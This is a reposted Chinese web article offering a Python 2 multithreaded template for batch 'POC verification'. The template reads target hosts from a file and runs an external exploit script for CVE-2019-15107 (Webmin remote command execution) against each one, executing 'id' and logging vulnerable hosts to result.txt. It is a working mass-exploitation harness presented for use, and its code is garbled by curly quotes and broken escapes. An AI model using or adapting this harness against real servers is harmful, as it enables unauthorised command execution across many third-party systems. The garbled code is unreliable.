python3 多线程批量验证POC模板
发布时间:2020-12-20 10:45:27 所属栏目:Python 来源:网络整理
导读:# coding:utf-8 import threading,Queue,sys,os class RedisUN(threading.Thread): def __init__ (self,queue): threading.Thread. __init__ (self) self._queue = queue def run(self): while True: if self._queue.empty(): break try : # ###############
#coding:utf-8 import threading,Queue,sys,os class RedisUN(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self._queue = queue def run(self): while True: if self._queue.empty(): break try: ########################## 代码放入这################################## var = "success" #成功的标识,在CVE_2019_15107.py 成功的判断里增加 print("success") url = ‘https://‘+ self._queue.get(timeout=0.5) print(url) r=os.popen(‘python CVE_2019_15107.py‘+ " "+url+" "+"id") #调用的exp text = r.read()#获取cmd打印的结果 if text == var:#当cmd输出结果出现success表示有漏洞,将结果存为result.txt print(text) f = open(‘result.txt‘,‘a+‘) #保存成功的结果 f.write(url + " "+text+"n") ##################################################################### except: continue def main(): thread_count = 10 #线程数 threads = [] queue = Queue.Queue() f = open("host.txt",‘r‘) #读取txt里的ip sourceInLines = f.readlines() f.close() new = [] for line in sourceInLines: temp1 = line.strip(‘n‘) queue.put(temp1) for i in xrange(thread_count): threads.append(RedisUN(queue)) for t in threads: t.start() for t in threads: t.join() if __name__ == ‘__main__‘: f1 = open(‘result.txt‘,‘w‘) f1.close() main() (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |